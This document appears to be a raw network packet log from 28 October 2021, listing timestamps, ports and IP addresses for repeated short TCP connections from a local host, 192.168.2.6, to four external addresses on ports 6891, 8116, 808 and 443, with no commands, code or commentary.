Oct 28, 2021 04:59:05.106547117 CEST	49891	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:05.112006903 CEST	49891	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:05.112209082 CEST	49891	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:05.279166937 CEST	6891	49891	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:05.279191017 CEST	6891	49891	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:05.486417055 CEST	443	49892	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:05.486690998 CEST	49892	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:05.487232924 CEST	49892	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:05.487246990 CEST	443	49892	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:05.490889072 CEST	49892	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:05.490911961 CEST	443	49892	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:05.491080999 CEST	49892	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:05.491105080 CEST	443	49892	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:05.662837029 CEST	6891	49891	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:05.662866116 CEST	6891	49891	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:05.663024902 CEST	49891	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:05.663091898 CEST	49891	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:05.668231964 CEST	49891	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:05.790163040 CEST	49893	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:05.834718943 CEST	6891	49891	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:05.836987019 CEST	8116	49893	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:05.837143898 CEST	49893	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:05.837688923 CEST	49893	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:05.884260893 CEST	8116	49893	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:05.884509087 CEST	8116	49893	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:05.884608984 CEST	49893	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:05.886440992 CEST	49893	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:05.893821955 CEST	49893	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:05.894320011 CEST	49893	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:05.940759897 CEST	8116	49893	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:05.940823078 CEST	8116	49893	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:05.980676889 CEST	8116	49893	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:06.114192963 CEST	8116	49893	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:06.114222050 CEST	8116	49893	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:06.114291906 CEST	49893	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:06.114342928 CEST	49893	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:06.117192030 CEST	49893	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:06.163772106 CEST	8116	49893	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:06.186729908 CEST	443	49892	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:06.186815023 CEST	443	49892	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:06.186883926 CEST	49892	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:06.186893940 CEST	49892	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:06.194582939 CEST	49892	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:06.194612026 CEST	443	49892	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:06.226797104 CEST	49894	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:06.226841927 CEST	443	49894	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:06.226926088 CEST	49894	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:06.227487087 CEST	49894	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:06.227505922 CEST	443	49894	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:06.326491117 CEST	49895	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:06.484438896 CEST	808	49895	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:06.484649897 CEST	49895	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:06.485433102 CEST	49895	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:06.643330097 CEST	808	49895	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:06.643415928 CEST	808	49895	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:06.643496037 CEST	49895	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:06.644251108 CEST	49895	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:06.648202896 CEST	49895	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:06.648315907 CEST	49895	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:06.714010000 CEST	443	49894	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:06.714128017 CEST	49894	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:06.714929104 CEST	49894	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:06.714946032 CEST	443	49894	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:06.720465899 CEST	49894	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:06.720474958 CEST	443	49894	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:06.720598936 CEST	49894	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:06.720608950 CEST	443	49894	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:06.802162886 CEST	808	49895	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:06.806096077 CEST	808	49895	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:06.811666965 CEST	808	49895	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:07.194794893 CEST	808	49895	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:07.194813013 CEST	808	49895	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:07.195010900 CEST	49895	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:07.200959921 CEST	49895	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:07.330045938 CEST	49897	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:07.358725071 CEST	808	49895	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:07.409485102 CEST	443	49894	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:07.409558058 CEST	443	49894	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:07.409759998 CEST	49894	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:07.413149118 CEST	49894	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:07.413182974 CEST	443	49894	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:07.496562958 CEST	6891	49897	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:07.496684074 CEST	49897	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:07.497524977 CEST	49897	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:07.571997881 CEST	49898	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:07.662846088 CEST	6891	49897	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:07.662933111 CEST	6891	49897	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:07.663036108 CEST	49897	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:07.663619041 CEST	49897	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:07.667922020 CEST	49897	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:07.668035030 CEST	49897	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:07.741538048 CEST	808	49898	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:07.741691113 CEST	49898	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:07.742599964 CEST	49898	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:07.833283901 CEST	6891	49897	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:07.833316088 CEST	6891	49897	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:07.870400906 CEST	6891	49897	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:07.912012100 CEST	808	49898	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:07.912113905 CEST	808	49898	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:07.912422895 CEST	49898	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:07.912826061 CEST	49898	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:07.916626930 CEST	49898	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:07.916753054 CEST	49898	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:08.082180023 CEST	808	49898	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:08.086251020 CEST	808	49898	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:08.086277008 CEST	808	49898	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:08.086288929 CEST	808	49898	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:08.086317062 CEST	808	49898	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:08.214802980 CEST	6891	49897	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:08.214829922 CEST	6891	49897	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:08.214922905 CEST	49897	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:08.221592903 CEST	49897	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:08.336668968 CEST	49899	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:08.386962891 CEST	6891	49897	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:08.389790058 CEST	8116	49899	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:08.389945030 CEST	49899	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:08.390649080 CEST	49899	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:08.443639040 CEST	8116	49899	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:08.443758965 CEST	8116	49899	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:08.443840027 CEST	49899	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:08.444458008 CEST	49899	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:08.451112986 CEST	49899	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:08.451358080 CEST	49899	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:08.475826025 CEST	808	49898	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:08.475847960 CEST	808	49898	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:08.475933075 CEST	49898	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:08.478977919 CEST	49898	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:08.504127026 CEST	8116	49899	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:08.504496098 CEST	8116	49899	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:08.504895926 CEST	8116	49899	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:08.605779886 CEST	49900	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:08.648448944 CEST	808	49898	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:08.674093962 CEST	8116	49899	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:08.674124002 CEST	8116	49899	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:08.674259901 CEST	49899	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:08.674391031 CEST	49899	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:08.682616949 CEST	49899	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:08.736325026 CEST	8116	49899	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:08.772188902 CEST	6891	49900	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:08.772360086 CEST	49900	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:08.773462057 CEST	49900	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:08.811849117 CEST	49901	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:08.811903954 CEST	443	49901	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:08.812005997 CEST	49901	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:08.812664986 CEST	49901	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:08.812680006 CEST	443	49901	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:08.939826012 CEST	6891	49900	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:08.939914942 CEST	6891	49900	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:08.939990997 CEST	49900	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:08.940577030 CEST	49900	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:08.943694115 CEST	49900	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:08.943826914 CEST	49900	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:09.110052109 CEST	6891	49900	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:09.110079050 CEST	6891	49900	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:09.110089064 CEST	6891	49900	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:09.299338102 CEST	443	49901	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:09.299454927 CEST	49901	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:09.304313898 CEST	49901	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:09.304351091 CEST	443	49901	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:09.307904959 CEST	49901	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:09.307940960 CEST	443	49901	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:09.308007956 CEST	49901	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:09.308018923 CEST	443	49901	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:09.504002094 CEST	6891	49900	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:09.504024982 CEST	6891	49900	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:09.504101992 CEST	49900	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:09.504173040 CEST	49900	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:09.507566929 CEST	49900	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:09.625173092 CEST	49902	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:09.673878908 CEST	6891	49900	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:09.681576014 CEST	8116	49902	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:09.681767941 CEST	49902	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:09.682518959 CEST	49902	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:09.738806963 CEST	8116	49902	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:09.739063978 CEST	8116	49902	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:09.739134073 CEST	49902	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:09.741048098 CEST	49902	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:09.744749069 CEST	49902	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:09.744862080 CEST	49902	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:09.801054001 CEST	8116	49902	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:09.801078081 CEST	8116	49902	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:09.801722050 CEST	8116	49902	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:09.985306978 CEST	8116	49902	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:09.985327959 CEST	8116	49902	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:09.985420942 CEST	49902	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:09.985486031 CEST	49902	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:09.990648031 CEST	49902	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:10.000017881 CEST	443	49901	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:10.000093937 CEST	443	49901	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:10.000220060 CEST	49901	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:10.007967949 CEST	49901	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:10.008024931 CEST	443	49901	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:10.046943903 CEST	8116	49902	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:10.103094101 CEST	49903	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:10.103154898 CEST	443	49903	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:10.103440046 CEST	49903	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:10.103975058 CEST	49903	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:10.104002953 CEST	443	49903	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:10.264548063 CEST	49904	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:10.426994085 CEST	808	49904	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:10.427129030 CEST	49904	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:10.428165913 CEST	49904	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:10.588004112 CEST	443	49903	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:10.588134050 CEST	49903	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:10.588809967 CEST	49903	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:10.588834047 CEST	443	49903	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:10.590406895 CEST	808	49904	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:10.590528965 CEST	808	49904	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:10.590714931 CEST	49904	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:10.591182947 CEST	49904	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:10.594389915 CEST	49903	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:10.594409943 CEST	443	49903	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:10.594547033 CEST	49903	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:10.594563961 CEST	443	49903	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:10.595052958 CEST	49904	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:10.595247030 CEST	49904	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:10.753277063 CEST	808	49904	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:10.757220984 CEST	808	49904	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:10.757721901 CEST	808	49904	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:10.757735014 CEST	808	49904	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:10.757867098 CEST	808	49904	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:11.140722990 CEST	808	49904	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:11.140753031 CEST	808	49904	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:11.140889883 CEST	49904	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:11.140948057 CEST	49904	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:11.149158001 CEST	49904	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:11.273567915 CEST	49905	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:11.284825087 CEST	443	49903	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:11.284926891 CEST	443	49903	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:11.284981012 CEST	49903	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:11.285026073 CEST	49903	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:11.288537979 CEST	49903	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:11.288573027 CEST	443	49903	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:11.311584949 CEST	808	49904	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:11.397866964 CEST	49906	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:11.439296007 CEST	6891	49905	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:11.439461946 CEST	49905	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:11.440424919 CEST	49905	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:11.559195995 CEST	808	49906	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:11.559288979 CEST	49906	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:11.559953928 CEST	49906	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:11.605685949 CEST	6891	49905	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:11.605767012 CEST	6891	49905	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:11.605849028 CEST	49905	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:11.606362104 CEST	49905	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:11.610028028 CEST	49905	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:11.610162020 CEST	49905	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:11.719403028 CEST	808	49906	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:11.719484091 CEST	808	49906	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:11.719573021 CEST	49906	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:11.720098972 CEST	49906	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:11.724406958 CEST	49906	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:11.724550962 CEST	49906	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:11.775345087 CEST	6891	49905	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:11.775365114 CEST	6891	49905	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:11.775376081 CEST	6891	49905	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:11.879653931 CEST	808	49906	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:11.883877993 CEST	808	49906	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:11.883896112 CEST	808	49906	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:11.883943081 CEST	808	49906	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:11.883955002 CEST	808	49906	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:12.157936096 CEST	6891	49905	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:12.157958031 CEST	6891	49905	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:12.158037901 CEST	49905	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:12.165071011 CEST	49905	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:12.272799015 CEST	808	49906	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:12.272821903 CEST	808	49906	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:12.272890091 CEST	49906	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:12.272929907 CEST	49906	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:12.276153088 CEST	49906	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:12.279272079 CEST	49907	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:12.326531887 CEST	8116	49907	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:12.326678038 CEST	49907	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:12.327357054 CEST	49907	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:12.330368042 CEST	6891	49905	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:12.374337912 CEST	8116	49907	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:12.374556065 CEST	8116	49907	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:12.374687910 CEST	49907	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:12.375248909 CEST	49907	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:12.379376888 CEST	49907	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:12.379477024 CEST	49907	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:12.399991035 CEST	49908	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:12.428042889 CEST	8116	49907	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:12.428275108 CEST	8116	49907	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:12.428987026 CEST	8116	49907	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:12.435689926 CEST	808	49906	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:12.565450907 CEST	6891	49908	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:12.565583944 CEST	49908	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:12.566579103 CEST	49908	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:12.600105047 CEST	8116	49907	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:12.600146055 CEST	8116	49907	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:12.600364923 CEST	49907	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:12.600836039 CEST	49907	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:12.607667923 CEST	49907	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:12.655913115 CEST	8116	49907	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:12.731805086 CEST	6891	49908	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:12.731867075 CEST	6891	49908	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:12.731930017 CEST	49908	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:12.733262062 CEST	49909	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:12.733298063 CEST	443	49909	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:12.733407021 CEST	49909	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:12.733820915 CEST	49908	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:12.735640049 CEST	49909	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:12.735660076 CEST	443	49909	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:12.738142967 CEST	49908	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:12.738429070 CEST	49908	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:12.903513908 CEST	6891	49908	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:12.903644085 CEST	6891	49908	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:12.942369938 CEST	6891	49908	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:13.257386923 CEST	443	49909	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:13.257574081 CEST	49909	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:13.258246899 CEST	49909	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:13.258255959 CEST	443	49909	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:13.264142990 CEST	49909	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:13.264162064 CEST	443	49909	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:13.264358997 CEST	49909	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:13.264372110 CEST	443	49909	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:13.283884048 CEST	6891	49908	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:13.283907890 CEST	6891	49908	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:13.283991098 CEST	49908	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:13.290097952 CEST	49908	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:13.399252892 CEST	49910	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:13.455111027 CEST	8116	49910	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:13.455276966 CEST	6891	49908	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:13.455296040 CEST	49910	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:13.455931902 CEST	49910	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:13.511347055 CEST	8116	49910	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:13.511684895 CEST	8116	49910	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:13.511745930 CEST	49910	8116	192.168.2.6	185.56.219.47
